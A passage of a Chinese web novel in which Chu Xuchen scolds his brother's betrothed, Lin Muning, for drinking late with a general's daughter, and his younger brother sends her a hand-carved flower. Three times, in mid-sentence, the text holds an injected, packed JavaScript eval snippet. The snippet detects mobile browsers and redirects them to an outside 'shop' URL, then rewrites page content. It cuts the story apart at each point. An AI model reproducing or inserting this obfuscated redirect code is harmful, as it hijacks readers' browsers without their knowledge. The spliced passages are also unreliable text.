褚序宸沉思了片刻，心中已然知晓是哪个孟家了。 他祖父当年让父亲去历练的军队就是孟将军的麾下，后来父亲回京任职，曾带他见过那位战功赫赫的孟寅将军。不过他的女儿，褚序宸倒是没有见过。 他问柳莺儿：“你可知，她们去了何处？” 柳莺儿茫然摇头：“我们是在集市上分开的，孟姑娘的丫鬟青芒姐姐说让两个姑娘说知心话，我们便没再打扰，大公子，您能去帮忙找找我们姑娘吗？”她出口的话已经有了颤音，脑子里各种不好的情景都过了个遍，真是后悔听了那个青芒的，早知道绝不离开姑娘半步。 褚序宸面色不悦，但仍旧吩咐车夫：“去集市那条街看看。” 柳莺儿想要跟着，褚序宸冷着声音说：“你不必去了，连自己主子都看不住，去了也是添乱。”柳莺儿只好收了步子，但仍旧站在门口等着。 正好来喜出门迎，褚序宸便让来喜换下了车夫，来喜一坐上去，就说：“今日帮公子到礼部递了手札，问候那位赵姓侍郎的事。我一直等着回信，就没跟林姑娘出门。公子放心，林姑娘还未归家之事，老夫人和二公子都不知晓。” 来喜听着马车里头的动静，听到褚序宸“嗯”了一声，便继续说：“当是没什么大碍的，听春桃说，那位孟姑娘，一个人就能打跑好几个无赖。一准是两位姑娘投缘，一时玩得忘了时辰。” 褚序宸端坐在车里，皱着眉头，搓着手指，心想：这个林慕凝当真是不得消停。才在国子监闹了那么一出，现在又夜不归宿，累他忙碌了一天，还要去寻她。 他很是庆幸自己当初做的决定，这般毫无礼教的女子怎堪褚家未来当家之母之位。等今日将她找回来，定要让母亲给她寻个礼教大夫，好好管教管教才是。 * 林慕凝和孟棠溪在酒楼里聊得那叫一个痛快，各自讲述着在进京前那些无忧无虑的日子。时不时发出爽朗的笑声，酒楼里其他人都走的差不多了，这两个人还是意犹未尽。 又叫小二上了两壶酒。孟棠溪给自己满了一杯，一口闷下去，心中升起无限愁绪。 “慕凝，你不知，我来京这几年，像今日这般快活的日子，屈指可数。我娘怕那些贵妇笑话我，逼着我学这学那，我知道她是为了我好。我这几年，我真的不快乐。” 往日里，孟棠溪不止这些酒量，可今日结识了性情相投的朋友，又聊到了自己的伤心事，情绪上头，就有些多了。 林慕凝来京时日短，除了有些想念家人，其他的并未觉得不适，新鲜劲还没过去呢。所以孟棠溪说的那些，她体会不到，也不知如何安慰。 见好友喝多了，她赶紧让小二将剩下那壶未开封的拿走，结了账，扶着孟棠溪出了酒楼。出来才知，竟这么晚了。街上稀稀拉拉没有几个行人，那些集市上的小贩也早就收摊撤走了。 她想先送孟棠溪回去，问道：“孟姐姐，你家在哪啊？” 孟棠溪半梦半醒，不想回到那个让她不开心的家，嘴里说着：“不回，不回去。” 林慕凝很无奈。 “那就先回我那，要是你丫鬟寻来，那就醒醒酒再走，要是没来，就明天再说。” 孟棠溪手一挥，大着舌头说：“好，就去你家。丫鬟来了，我也不走。” “行，不走，不走。谁来都不走。” * 马车在夜色中缓缓前行。 来喜一边赶车一边四处张望，忽然眼睛一亮：“公子，前头好像有人！” 褚序宸掀开车帘，顺着来喜指的方向看去。 街角处，两个身影摇摇晃晃地走着，一个正吃力地扶着另一个。借着微弱的灯光，他一眼就认出了其中一个，正是让他头疼的林慕凝。 她正半扶半拖着一个穿红衣的女子，两人歪歪扭扭地往前走，边走边说着什么，时不时还笑出声来。 褚序宸的脸色瞬间沉了下来。 这都什么时辰了？她竟还在外头游荡，还喝成这样？ 他正要开口唤住她，却见林慕凝扶着的那人忽然一个踉跄，差点摔倒。林慕凝连忙把人拽住，自己也跟着晃了几晃，两人差点一起栽倒。 褚序宸的眉头拧得更紧了。 “停车。”他沉声道。 马车稳稳停下。褚序宸跳下车，大步朝那两个身影走去。 林慕凝正手忙脚乱地扶着孟棠溪，忽然感觉头顶笼下一片阴影。她抬头一看，正对上褚序宸那张冷冰冰的脸。 “大公子？”她愣了一下，下意识往后退了半步。 褚序宸的目光从她脸上扫过，又落在那醉醺醺的孟棠溪身上，语气冷硬：“这就是孟大将军的女儿？” 孟棠溪不悦地皱了皱眉，一阵恶心犯了上来，赶忙扶着一旁的树，干呕了一会儿，什么也没吐出来。 林慕凝听出褚序宸话里的嘲讽，心里有些不快，但还是解释道：“她喝多了，我正想送她回去......” “送她回去？”褚序宸打断她，“你知道她家在哪吗？你知道现在什么时辰了吗？你一个未出阁的姑娘，深夜在外游荡，还喝成这个样子。你是嫌褚家的名声太好听吗？” 林慕凝被他这一通质问噎得说不出话。 她当然知道自己的行为在褚序宸那里不合礼数，可孟棠溪喝成这样，她总不能把人扔下不管吧？ 正想开口辩解，她扶着的孟棠溪忽然抬起头，擦了擦嘴，眯着眼睛看向褚序宸。 “你是何人？”随即又像是认出了什么，指着他道，“哦，我知道了！你是那个......那个嫌弃慕凝乡野出身的褚大公子啊！” 褚序宸脸色一僵。 孟棠溪却不依不饶，摇摇晃晃地往前凑了凑，指着他的鼻子道：“你、你凭什么嫌弃她？她貌美又性子直爽，不比那些个装模作样的闺秀们强？你眼睛是不是…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17345609|198773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是不是瞎了？” 林慕凝赶紧去捂她的嘴，小声哀求：“孟姐姐！别说了！” 孟棠溪挣开她的手，越说越来劲：“我跟你说，慕凝是我朋友！你敢欺负她，我、我让我爹参你一本！” 褚序宸的脸已经黑得像锅底。 他深吸一口气，压下心头翻涌的火气，一把将孟棠溪从林慕凝肩上拽过来，直接塞进了马车。 “上车。”他冷冷丢下两个字。 林慕凝愣了愣，连忙跟上去。 马车里，孟棠溪被塞进角落，还不忘嘟囔着骂人。褚序宸端坐一旁，闭目养神，周身寒气逼人。吩咐来喜：“先去孟家。” 孟将军外出未归，孟夫人刚歇下不久，便听下人禀报说褚家公子将大小姐送了回来。她惊得连忙起身，匆匆披上外衣往外走，一路上不忘数落跟在身后的青芒。 “让你平时跟着她，你倒好，将人放下，自己跑出去玩。还喝成那个样子。你知不知道那位褚大人是什么人物？年纪轻轻就做到顺天府尹，最是重规矩不过，但凡礼数有差，连朝中大员他都敢参上一本。哎，这个不孝女啊，这是要连累她爹啊！” 青芒低着头，一句话不敢辩。 匆匆赶到门口，只见自己的女儿正被一个极是标致的妙龄女子扶着，而褚序宸则一脸肃然地站在一旁。 她一眼便猜出了那女子的身份。近来京中多有传闻，说褚家那位乡下来的未婚妻生得极好，想来便是这位了。只是…… 不是说如今与她成婚的人已经换了么？怎么今日这两人会在一处？ 孟夫人按下心头疑惑，先让青芒把醉醺醺的女儿扶进去。孟棠溪经过褚序宸身边时，还不忘瞪他一眼，被青芒连拖带拽地弄进了门。 孟夫人转过身，面上带着歉意，朝褚序宸福了一福：“今夜劳烦褚公子送小女回来，实在惭愧。这孩子被我惯坏了，行事莽撞，回头我一定严加管教。还请褚公子看在老爷的面上，莫要将此事张扬出去。” 褚序宸微微颔首，语气淡淡：“夫人言重。只是夜深人静，女子饮酒独行，终是不妥。还望孟姑娘日后莫要如此莽撞。” 孟棠溪刚走到垂花门边，听见这话，猛地回头：“要你多事！” “好了！”孟夫人低喝一声，“还不赶紧进去，还在这里丢人现眼！” 孟棠溪被青芒连拉带拽地拖了进去，嘴里还嘟囔着什么。 回褚府的路上，车里安静得落针可闻。林慕凝一直低着头，她知道这尊佛现下不好惹，最好的办法是，以静制动。 以不变应万变。 快到褚家的时候，褚序宸忽然开口。 “从明日起，你一个月最多出门两次。我会让母亲给你找两位老师，好好教导教导你。至于那位孟家姑娘，你与她也暂时不要来往了。” 林慕凝猛地抬头，看向那张冰块脸。 “为何？” 褚序宸微微侧目：“孟将军在给他女儿议亲，像今晚这样的事，若是传出去，会耽误了人家的前程。这个责任，你付得起吗？” 19. 第十九章 “我不说，你不说，来喜不说，谁会知晓？”林慕凝下意识反驳。 褚序宸的眼神直直扫了过去，质问道：“你们两个女子喝得醉醺醺的在大街上晃悠，你当别人都是瞎的吗？旁人不识得你，未必也不识得她！若有一个有心之人，那今晚之事不出三日就会传得沸沸扬扬。” 林慕凝语塞，脑子却飞快地转着，想找什么说辞顶回去。 还没等她想出来，褚序宸又开口了：“你可知道，孟将军想让他这个女儿嫁给谁吗？” 林慕凝哪里会知道。 “是三皇子。” 皇子？这在林慕凝的认知里是高高在上、遥不可及的人物。 三皇子虽不是太子，那日后怎么说也得是个王爷。孟棠溪若是嫁过去，那就是王妃了。她一个小小的民女，竟然与未来的王妃成了好友，还喝得酣畅淋漓。那她日后是不是就在皇宫贵族里有了人脉。日后回老家探亲，跟往日的那些朋友说起，岂不是人人羡慕她？ 转念一想，若真同褚序宸所说，因为今日同她饮酒，毁了这份姻缘。那她还真的担不起这个责任。虽说第一壶酒是孟棠溪提议的，可后面推杯换盏时，她也出了不少力啊。 可是又一想，孟棠溪跟她念叨的那些话，想来她的性子不喜被规矩束缚，那她真的愿意嫁给三皇子吗？ 想到这里，她便直起了腰杆，说道：“若三皇子并非孟姐姐心中所愿，这婚事作罢便作罢吧！” “放肆！”褚序宸猛地一拍座位，震得整个马车都晃了晃。 他脸色铁青：“此事岂容你随意置喙，你当真是毫无礼教、不知天高地厚！我看你在学会了规矩前，还是不要出门了！免得给我们褚家丢人！” 褚序宸掀开车帘，跳下马车，径直往大门里走去。 来喜还举着车帘，望着自家公子怒气冲冲的背影，艰难地咽了口唾沫。他家公子这脾气，真发作起来，连老夫人都得避一避。 他还记得公子刚中状元那会儿，有个姑娘当街拦住他的去路，说仰慕公子才华人品，非他不嫁。公子当场就是一番严厉训斥，把那姑娘说得泪流满面。 后来也有不少姑娘明里暗里表达过心意，无一例外全被他冷脸拒了。公子说那些姑娘不懂礼数、不知自重，一个个最后都是红着眼眶跑走的。 今日这番话委实重了些，林姑娘这般年纪，怕是承受不住。 他偷偷往林慕凝那边看去，却见她一直盯着公子离去的方向，手攥成了拳头。眼眶却干干净净的，丝毫没有要哭的意思。 来喜心里暗暗松了口气，正想劝慰几句，就听林慕凝忽然开口：“如今咱们府里还不是大公子当家吧？” “不是，是老爷当家。虽然老爷如今在外公干不在家，但是等明年老爷回来...” 林慕凝嘴角弯了弯：“那就是老夫人说了算？” “是，对。”来喜刚点头，忽然隐约察觉到了什么。 就听她说：“那他说了就不算！我明日找老夫人说理去！” 说完，她跳下马车，哼着曲子，背着手，蹦蹦跳跳地离开了。 来喜一头雾水。 这林姑娘果然不是一般人那！ * 林慕凝做人的原则很简单：若今日有值得高兴的事，那么一切阻碍这些的负面事情，都当没发生过。就算要解决，也得等睡醒再说。睡觉前，必须保持好心情。 回到抱竹轩，远远就看见灯火通明。柳莺儿第一个冲出来，一把抱住她，眼泪扑簌簌往下掉。 “姑娘！下次我再也不留你一个人了！担心死我了，你到底去哪儿了呀？” 春桃在一旁笑道：“我就说咱姑娘不会有事的吧，你偏不信，念叨得我心都乱了。” 夏梨打着哈欠，眼睛都快睁不开了，还是撑着站在门口：“姑娘，下次出门要早些回来。” 林慕凝心里一暖，挨个拍了拍她们的肩：“好了好了，我没事，都去睡吧。我洗漱一番也马上睡。” 柳莺儿抹着眼泪道：“姑娘，我给你烧热水去。” “不用。”林慕凝摆摆手，“冷水就行。我在家时还洗过山泉澡呢，没那么娇气。快去睡快去睡，我洗把脸就完事。再争我可生气啦。” 几个丫鬟这才散了。 她洗干净了脸，换了身寝衣，就躺到床上，没一会儿就睡了过去。她的酒量算好的，在家时经常喝母亲自己酿的酒，比这京城的酒烈。所以今日这些酒算是助眠。 隔壁院子里，褚序宸回到寝屋后，却怎么也静不下来。 他在书案前坐了一会儿，又站起身踱了几步，心里乱糟糟的。 其实今日说的那些话，一半是吓唬她的。孟家与皇家结亲之事，别说她一个小小的民女干涉不了，就是他这个顺天府尹也左右不得。 孟将军是个豪爽之人，他虽未见过他女儿，但也知道武将家庭养出来的姑娘，自然与文官家的闺秀不同。 可那些话要是叫皇家人听了去，林慕凝十条小命也保不住。 他也纳闷，每次见到林慕凝，总要惹一肚子气。 他也说不清到底是为什么。看不上她？那不是早就定了让褚书墨去完成婚约么？就算她再不懂礼数，那也是褚书墨该操心的事，跟他有什么关系？ 可偏偏每次见了她，就忍不住想说几句。 越想越烦。 他后知后觉地意识到，今晚的话确实有些重了。 喊来喜进来，问： “她可说什么了没有？” 来喜回忆起林慕凝下车时说的话，深知若真让大公子知道了，定然又会发飙。便摇头说：“林姑娘什么都没说。” “什么都没说？”褚序宸皱起眉，“也没有在背后骂我？” 来喜尴尬地挠了挠脖子：“呵呵，林姑娘哪能骂公子您呢，没有的事。” 褚序宸挥手：“行了，下去吧。” 他回到寝室，坐在床边，还在琢磨。什么都没说？这可不像她的性格。难道真的因自己一句话，伤着了？ 他决定要收敛收敛自己的脾气，不必跟她一般见识。更何况，她日后是自己的弟媳，也该礼让些。 明日跟母亲禀明，给她请两位先生。她不出门，便也没那么多事了。 次日一早，他照例卯时起床锻炼。觉得格外的安静，像是回到了隔壁院 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352466|198773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子没人住的时候。那后院也没人去翻地，隔墙望去，一些干农活的工具就这么堆在角落。 褚序宸问给他递毛巾的丫鬟小荷： “隔壁怎么回事？今日怎这般消停？” 这丫鬟跟秋杏关系不错，昨天秋杏留守看院子，她干完活就去找她玩，听说林姑娘出门回来给每个丫鬟都带了小玩意，让她很是羡慕。自己伺候的这位公子可没这个好心，想着他们这些下人。能不发火，就大吉大利了。 秋杏还说：“我们姑娘说了，留在家里看家的不白看，会得双份。到时候我悄悄给你带一份，你别告诉别人。” 原想着这林姑娘晚饭前总该回来了吧，可跟着出去的那几位都回来了，也没见着她。小荷也陪着等了好一会儿，这边管事的大丫头叫了，才回来。 也不知道隔壁是个什么光景，林姑娘昨日回来了吗？几时回的。 但是公子不喜她们打听旁的事，她便说：“不清楚，许是林姑娘累着了还没起吧。” 褚序宸没再多问，擦了手脸，让下人不要准备早饭，今早去老夫人那边吃。 说也奇怪，今日母亲这里也很是安静。只有她一人在用早饭。 褚序宸请了安，在母亲对面坐下。丫鬟添了碗筷，他端起粥喝了一口，觉得屋里有些冷清。 “书墨呢？” 沈氏道：“让人来过消息，说有一篇文章老师催得急，他想关起门来静心写，这几日就不过来用饭了。我让厨房派了个厨子过去，给他单独开小灶。” 褚序宸点点头，低头继续喝粥。喝了两口，放下碗。 他想问林慕凝怎么没来，话到嘴边又咽了回去。 问她做什么？显得他多关心似的。又端起碗，继续喝。 沈氏却忽然开口：“慕凝那边的丫头过来说，她身子不适，昨日就没见着人。”她顿了顿，面露忧色，“我有些不放心，你回头让人去寻个郎中来，给她瞧瞧。别是刚来京城，水土不服。” 褚序宸当即放下筷子：“我看她平日里活蹦乱跳的，没有一点水土不服的样子。母亲多虑了吧。” 沈氏白他一眼：“怎么说话呢？当心让人听了去。” 她叹了口气，语气缓了下来：“序宸，我知道你看不惯她。你自小跟在你祖父身边，受他影响，凡事讲究规矩礼数。可你要知道，慕凝这性子是很难得的。” 褚序宸垂着眼，没接话。 沈氏继续道：“我倒是希望她能一直保持这份天真。书墨那孩子心思重，往后若真能考个功名，做个小官，跟慕凝过一过寻常人家的日子，也很不错。何必让那些规矩磨圆了自己的棱角呢？” 褚序宸端着粥碗的手顿了顿。 母亲这话，像是在说书墨，又像是在说他。 可规矩就是规矩，没有规矩，国不成国，家不成家。 吃完饭，他提到：“母亲，你帮林家女寻两位女先生，教教她规矩吧。琴棋书画，也都学一学。这日后成了咱们褚家媳妇，不能再像以前一样，否则丢的是咱们褚家人的脸面。” 沈氏不明白儿子怎么忽然说这个。 “我刚说的话，你没听进去吗？” 20. 第二十章 “我刚说希望这孩子保持天性，你是没听进去吗？”沈氏端详着自己的儿子，以前没有褚书墨和林慕凝做对比，她还没觉得自己的儿子这般迂腐。 如今竟说什么要给慕凝请先生这样的话。 褚序宸也蹙了眉头，常言道：从善如登，从恶如崩。这个林慕凝自从来了家中，不仅搞得一团乱，连一向恪守本分的母亲都要被她带坏了。如此下去，还得了？ 他脸色如墨，默不作声之时，与他的祖父极像，让沈氏都有些发怵。 母子俩对峙了片刻。 终是沈氏先败下阵来：“好吧，这几日我抽空去找御史大人的夫人打听打听。她的女儿入宫前，请过女先生，想来是有些门路的。” 褚序宸的神色这才舒缓了些。他站起身，朝沈氏行了一礼：“那就有劳母亲了。儿子该去上值了。” 等褚序宸出了门，沈氏才长长地舒了一口气，靠在引枕上，对周嬷嬷说：“我现在有些后悔了。当初老爷要我跟他同去江南，我就该跟去的。这儿子……我有什么不放心的。” 周嬷嬷笑着安慰：“夫人莫要动气。大公子也是为了褚家好，为了林姑娘好。等日后二公子有了官身，林姑娘怎么也要跟京城这些官家打交道的。早些学些规矩，总是好的。” 沈氏叹了口气，语气里带着几分无奈：“规矩规矩，学了这么多规矩，除了把自己圈住，究竟有什么好？我从小就是这么过来的，我知道其中的苦。就是不知道慕凝那孩子，会不会觉得拘束。” 周嬷嬷扶着沈氏坐好，给她重新续了一杯茶：“夫人莫要多想了。咱把该做的都做了，叫大公子挑不出错处，其他的咱们也管不了那么多。至于林姑娘爱不爱学、学得好不好，都不打紧。总归，林姑娘也不是嫁给大公子的。” 沈氏琢磨了一番，缓缓点头：“你说的对。幸而书墨不像他这般。”顿了顿，又道，“再过段时间，也该给序宸张罗亲事了。这婚约之事已然落听，他如今年岁也不小了，总不好一直这么晃着。等他娶了妻，也就无心思管别人了。” “夫人说的是。”周嬷嬷笑着应道。 * 林慕凝这一觉睡得格外痛快，醒来时，日头已经老高了。 她迷迷糊糊睁开眼，就听见外头窸窸窣窣的声响。夏梨正在外间擦桌子，她便叫进来问：“几时了？” 夏梨搁下抹布，走进来道：“姑娘，都快午时了。我方才叫了您几回，您都没醒，索性就不叫了，让您多睡会儿。老夫人让周嬷嬷来问过，我给搪塞过去了。” 林慕凝一下子清醒了些，压低声音问：“没说我饮酒的事吧？” “没有没有。”夏梨递过拧干的帕子给她擦脸，“姑娘放心，莺儿跟周嬷嬷说的是您水土不服。周嬷嬷还问要不要找大夫来看看呢。” 林慕凝接过帕子胡乱擦了一把脸，起身下床，趿着鞋走到铜镜前坐下。镜子里映出一张微微浮肿的脸，眼睛也有些发涩。 她拍了拍自己的脸颊，叹了口气：“哎呀，真是不成体统，下次可不能再这样了。总是忘了这是在别人家住，还当是在自己家那般随意呢。” 夏梨被逗笑了，一边帮她梳头一边说：“姑娘说的什么话，这就是您家啊。等您和二公子成了亲，顶多搬到他的院子去，或者二公子搬过来，总归还是要住在这里的呀。” “还住这儿……”林慕凝喃喃重复了一句，脑子里忽然浮现出褚序宸那张冷冰冰的脸。 她心想：那岂不是要一直被那个阎王盯着？ 如今他做不了整个褚家的主，可日后呢？褚序宸迟早是要当家的。他不能时时刻刻盯着自己，可若是他娶了一个跟他一样循规蹈矩的夫人。 不，他一定会娶那样的夫人。 到时候，她林慕凝是二房媳妇，管不了家，肯定会被大房压着。 那岂不是永无出头之日了？ 想到这里，她不禁打了个寒战，一把抓住夏梨的手：“梨啊，在你们这儿，什么情况下会分家啊？” “啊？”夏梨以为听错了，梳子都顿住了，“姑娘在说什么？分家？” “对呀。”林慕凝一脸郑重，“我可不想跟你们家大公子一辈子住在一个大宅子里。他那个人，太难相处了。昨日我和新结识的友人多聊了会儿，他就说什么……什么担不起责任，这样的话。你是没见他那张脸，黑得跟锅底似的。” 夏梨皱起了小脸，她也怕大公子，平日里连正眼都不敢瞧。她想了想，绞尽脑汁道：“也不是没有办法……若是二公子封侯拜相，立下大功，皇上赏了宅子，就可以单出去住了。” 林慕凝一听，眉头拧得更紧了：“那也太难了吧？大公子如此有为，也没见皇上赐宅子。不行，这条路太苦了。” 她托着腮想了半天，忽然眼睛一亮：“若是……若是我自己去买一座宅子呢？” 夏梨吓了一跳：“姑娘，您哪儿来的银子买宅子？京城的宅子可贵了！” 林慕凝摆摆手：“先不想银子的事，我就问你能不能分家？” 夏梨挠挠头，小心翼翼地说：“这个……奴婢也不知道。不过姑娘，您是不是想太多了？二公子还没科考呢，您就先想着分家了。” 林慕凝撇撇嘴，没再说话，心里却把这事记下了。 她又问了老夫人在不在。 春桃正从外头端着饭进来，听到了便回道：“老夫人出门去了，特意叮嘱我好生看着姑娘，若是还感觉不适，必要请大夫的。” 林慕凝说道：“那便等老夫人在时，再去同她说吧。” 春桃好奇地问：“姑娘，您想跟老夫人说什么？” 林慕凝摇头：“没什么，闲聊而已。” 她吃了春桃送过来的饭，擦了擦嘴，问：“现下你们都没事吧？跟我去后院搭架子。” 一听说去后院，春桃两腿都发软，苦着脸说： “姑娘，菜和花种子不是都种下了吗？还要去搭什么架子？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17360847|198773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林慕凝捏了捏她的肩膀，笑着说：“葡萄架子，黄瓜架子，要搭的多了去了。这才到哪？” “姑娘，要不咱们找个工匠呢？”夏梨在一旁小声试探。 林慕凝推着春桃和夏梨往后院走：“你们那，就是缺乏锻炼，一个个细胳膊细腿，没一点力气。搭个架子而已，哪里就用得着工匠？” 她边走边喊：“莺儿，把冬橘叫过来干活。” 柳莺儿正在院门口和来喜说话，听见喊声，应了一声就要往回跑。 来喜忙叫住她：“林姑娘可是要帮手？我正好闲着，过来搭把手吧。” 柳莺儿还没来得及回话，来喜已经自作主张，把隔壁院子里闲着的丫鬟小厮全叫了过来。 一时间，林慕凝这后院好不热闹。 人一多，这活干起来就不觉得累了。林慕凝又是个会活跃气氛的性子，虽然是未来二夫人的身份，可一点架子都没有。 她还给大家讲自己家乡的趣事，以及来京路上的奇闻逸事。 这些个丫头小厮都没出过京，一个个听得可入迷了，满脸向往和羡慕。 小荷问：“那也就是说，莺儿是被林姑娘所救的？” 林莺儿正给林慕凝搭手，回道：“多亏了我家姑娘，不然我如今怕是不知埋在哪了。所以，我发誓，这辈子都要留在姑娘身边伺候她。” “哇。”众人脸上皆露出吃惊的表情。 又有人问：“那你们还打下了一个黑店？救下一群人？” 林慕凝擦了把额头的汗：“这事的大功臣是柳莺儿，是她察觉出那饭菜里下了药。是她救下了大家。所以，我救了她，她又救了我，我们俩互相搭救。” 众人又是“哇”声一片，朝柳莺儿看去。 这些事情他们大约只在话本子里见过，没想到，会有活生生的亲历者出现在眼前，且那些经历比话本子里还要惊险刺激。 不知不觉间，众人对这位了解尚少的未来二夫人，又多了几分喜欢和亲近。 才不过半日，林慕凝又多了不少拥护者。为表感谢，林慕凝还特意熬了家乡的甜汤给他们喝。 这些人临走时，还有些依依不舍，约好了等明天大公子出门，他们干完手里的活，再来帮忙。 这些人前脚走，后脚褚书墨的随从石头就来了，又在门口喊春桃。 “春桃姐姐，春桃姐姐，你家姑娘在家吗？” 春桃一瞧是石头，敲他脑门：“你老这么鬼鬼祟祟的干啥？你是贼吗？我们姑娘在呢，你找她有事？” 石头从背后拿出一个包裹，递过去。 “这是二公子给林姑娘做的小玩意，你亲自交到林姑娘手里，别叫别人瞧见了。” 春桃接过那个包裹，笑着说：“哟，是二公子送的呀，那二公子怎么不亲自来？还可以跟我们姑娘说说话呢。” 石头嘿嘿一笑：“二公子他……不好意思，春桃姐姐，那麻烦你了。” 石头说完，赶紧跑了。 21. 第二十一章 石头一路小跑回到西侧院，远远就瞧见褚书墨站在门口，翘首以盼。 “二公子，送出去了！”石头跑得气喘吁吁，脸上却带着兴奋。 褚书墨忙问：“可是交到林姑娘手上了？她可说了什么？” “没见着林姑娘，给了春桃姐姐。”石头挠挠头，“二公子，要不我明儿再去打听打听，听听林姑娘怎么说？” 褚书墨摇摇头：“不必了。”他心想，莫要让林姑娘觉得自己心急。头一日刚送去，第二日就巴巴地去问，显得太不稳重了。林姑娘是个聪明人，改日若是碰上了，她自然会提起。 褚书墨虽然对自己的出身有些自卑，可这雕刻的手艺，他还是有几分把握的。想到林慕凝看到自己精心雕刻礼物时，露出甜美的笑容，他的心也跟着荡漾起来。 他嘴角不自觉弯了弯，转身往书房走。 石头忙问：“公子，您昨儿一晚上没睡，今天又去国子监学了一天，这会儿还不休息吗？” 褚书墨脚步不停，声音坚定：“我要抓紧时间温书了。” 虽然未必比得过兄长，可他会尽全力，考出个好成绩，有了功名，才能风风光光把林姑娘娶进门。 * 林慕凝洗漱了一番，换上了一身干净的衣服，擦了手，拿出纸笔，坐在塌前写写画画。柳莺儿问她：“姑娘在画什么？” “规划一下后院啊，”林慕凝咬着笔头思考着，“撒了种了，又搭了架子，可还有一片空地闲着。在我老家，若是看着一片地荒废，我爹娘非得急疯了不可。得琢磨着再弄点什么才好。” 正说着，春桃从外头进来，手里抱着一个包裹。 “姑娘，这是二公子让送给您的。” “二公子？”林慕凝眼睛一亮，接过了那个包裹，往春桃身后张望了一眼，“他人呢？” “是石头送来的，二公子没来。” 林慕凝低头看着怀里的包裹，好奇道：“这是什么呀？” 春桃大约知道是什么，却故意卖了个关子，抿嘴笑道：“您打开看看就知道了。” 林慕凝解开外头裹着的布，露出一只木头盒子，瞧着普普通通，打磨得却极光滑。她掀开盒盖，里头铺着一层软布，软布上静静躺着一支木雕连枝花。 她轻轻拿起来，不由得屏住了呼吸。 那花雕得极细，枝干只有拇指粗细，却弯弯曲曲分出几杈，每一杈上都缀着花苞和叶片。 花瓣薄得像纸，层层叠叠舒展开来，边缘微微卷翘，仿佛风一吹就会颤动。 林慕凝翻来覆去地看，指尖抚过那光滑的木纹，竟有些舍不得放下。她将花枝凑近鼻尖嗅了嗅，没有花香，只有一股淡淡的木头的清香气。 “这是二公子自己雕的？”她抬起头，眼里亮晶晶的。 春桃笑道：“可不。听说二公子原来在乡下时，时常帮着亲戚们做木匠活，这手艺怕是那时候练出来的。” 林慕凝听到这些话，再看花，心里不由得软了一下。 这褚二公子是个孤儿，定是从小便吃了不少苦头。 他白日里还要去国子监读书，雕这个东西，怕是熬了大夜。 她将那支木雕花放到一旁的书案上，说：“走，跟我去谢谢二公子去。” 顺便问问这褚二公子喜欢些什么，要照着他的喜好送回礼呢。 西院书房内，褚书墨才翻开纸，准备写一篇文章。 就听石头来报：“二公子，林姑娘在门口等您呢。” “林……林姑娘？”褚书墨一紧张，笔落在宣纸上，晕开了一片墨汁。 “我，我……”褚书墨心跳得极快，慌乱着不知道该做什么，“石头，你看我衣服得体不得体，脸上呢？有没有不干净的。” 石头被二公子这幅紧张的模样逗笑了，这二公子平日里对谁都客气有礼，行为有度，今日这般慌乱，却还是头次见。 “二公子，都好着呢。您快去吧，别让林姑娘等着急了。” “对，是的，咱们走。” 从书房到院门口，不过短短几步路，褚书墨的手心竟都出了汗，刚到门口，就见林慕凝和春桃、柳莺儿站在那，嬉笑着说着什么。 他上前一步，行礼：“林姑娘。” 林慕凝大大方方地还了一礼，笑道：“不是让你叫我名字的吗？那支木雕花我收到了，雕得真好看。” 褚书墨耳根微红，声音也轻了几分：“姑娘......慕凝你喜欢就好。” “喜欢，当然喜欢，连纹路都刻出来了，比真花还要精细。我将它摆在书案上，一醒来就能看见。” 听着林慕凝的描述，褚书墨耳根子越来越红，头也低了下去。 就听林慕凝问：“你一定费了不少功夫吧？” “也没费多少。”褚书墨低头看着自己的鞋尖，不敢看她的眼睛，“就是夜里睡不着，随便刻着玩的。” 石头在后面偷偷咧嘴。随便刻着玩的？二公子熬了两个晚上，手上磨出好几个水泡，图纸画了十几张，这叫随便刻着玩的？ 林慕凝却不信，歪着头看他：“夜里睡不着？书墨，你是不是又熬夜了？白日里还要去国子监读书，夜里再不睡觉，身子怎么吃得消？” 褚书墨心里一暖，声音更轻了：“不碍事的。” “怎么不碍事？”林慕凝的语气里带了几分认真，“你明年还要科考呢，得养好精神。往后可不许再这样了。” 褚书墨低着头，脸也发烫，嘴角却忍不住翘起来，乖乖应了一声：“嗯。” 林慕凝这才满意地点点头，又恢复了笑意：“对了，你平日里喜欢什么？我也好回个礼。” “不、不用回礼……”褚书墨连忙摆手，脸都红了，“我就是随手做的，不值什么的。” “那可不行。”林慕凝认真道，“来而不往非礼也。你要是不说，我可就自己猜了。猜错了你可别怪我。” 褚书墨张了张嘴，一时不知该说什么。支吾了半天，只憋出一句：“姑娘送的，我都喜欢。” 话音刚落，他自己先红了脸，恨不得找个地缝钻进去。 